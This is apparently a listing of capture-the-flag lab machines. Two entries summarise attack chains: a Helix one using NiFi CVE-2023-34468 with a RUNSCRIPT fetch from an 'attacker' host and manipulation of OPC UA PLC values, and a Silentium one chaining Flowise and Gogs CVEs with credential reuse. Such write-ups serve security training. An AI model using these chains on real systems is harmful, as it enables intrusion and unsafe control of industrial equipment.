Cohort
easy
linux
Enigma
easy
linux
Reactor
easy
linux
Helix
medium
linux
The vhost flow.helix.htb proxies an Apache NiFi 1.21.0 canvas that runs completely unauthenticated — GET /nifi-api/flow/current-user returns anonymous with every permission true — so CVE-2023-34468 (NiFi 0.0.2–1.21.0, fixed 1.22.0, CVSS 8.8) is reachable cold: a DBCPConnectionPool pointed at an H2 in-memory JDBC URL plus an ExecuteSQL processor running RUNSCRIPT FROM 'http://attacker/rce.sql' executes H2's CREATE ALIAS Java stored procedure and returns a shell as nifi. A forgotten support bundle leaves operator's OpenSSH ed25519 key world-readable at /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak, giving user.txt. Root is an ICS safety-interlock abuse: operator may sudo /usr/local/sbin/helix-maint-console, which only checks that /opt/helix/state/maintenance_window holds a future timestamp before exec'ing bash -p, and the root helix-safety controller writes that file when the reactor enters a hazardous test band. The loopback-only OPC UA PLC on 127.0.0.1:4840 accepts anonymous writes, so setting Mode=MAINTENANCE, TestOverride=True and slowly ramping CalibrationOffset until Temperature crosses 295 °C — without hitting the 305 °C trip — makes root open the window itself.
Silentium
easy
linux
A staging Flowise 3.0.5 instance leaks a live password-reset token straight back in the /api/v1/account/forgot-password response (CVE-2025-58434), giving instant takeover of the ben@silentium.htb admin account. Authenticated, the Custom MCP node's mcpServerConfig (CVE-2025-59528) spawns arbitrary processes, yielding root inside the Flowise container — whose environment block hands over SMTP_PASSWORD, reused verbatim as ben's system password over SSH. Root comes from a second internal app: Gogs 0.13.3 running as root with open registration, where CVE-2025-8110 lets the contents API write through a committed symlink to overwrite the repository's pre-receive hook, executed as root on the next push.
no machines match that filter